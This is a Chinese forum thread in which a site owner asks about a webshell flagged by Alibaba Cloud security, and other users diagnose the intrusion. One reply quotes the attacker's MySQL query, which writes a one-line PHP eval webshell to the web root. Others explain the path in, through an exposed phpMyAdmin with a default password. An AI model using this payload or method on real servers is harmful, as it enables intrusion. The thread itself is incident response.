阿里云盾报告了一个 webshell 后门文件，我打开看看不懂，有大虾帮忙看看吗？

[inter18099]

文件点这个链接（文件原是 php 文件，我改成 txt 了）

--

http://xiaozhangzaici.com/gg.txt

--

貌似全是 select 语句，而且还有时间和行号，难道是个 log 文件？这 php 文件能运行吗？

[Sp4rr0w]

这个应该是个查询记录文件，

2111 Query select '<?php @eval($_POST[ssss]);?>'INTO OUTFILE '/phpstudy/www/gg.php'

你看下 web 路径下面有没有 gg.php ，这的确是个 webshell 后门

[zhangzilong]

兄弟，快把数据库密码改了。

[Biexl]

赶紧改密码，now ！！！

[10467106]

是，快处理吧。

[collinswang]

这是在抓微擎的漏洞，通过执行 MYSQL，生成一句话木马 gg.php

[JinyAa]

老哥 你这密码也太....

[x86]

老哥这还是默认密码啊

[aliensb]

phpmyadmin 就暴露出来了，然后黑客用弱口令进到你的 phpmyadmin，然后通过你的首页探针找到你网站的绝对路径，然后通过 MySQL 写文件向你的目录里面写了一个 php 一句话木马。

[websafe]

被上传了一句话 webshell,处理方法：先把可疑的文件 查看下修改时间 对比下 自己本地的备份文件 是否有 多余的文件 如果有的话就删除，再看下首页有无被修改 有的话就用备份替换上传 上去，但只能解决一时 还是会被反复篡改,治标不治本 建议找专业做安全的来处 理解决国内也就找 Sinesafe 和绿盟等可以专业的处理.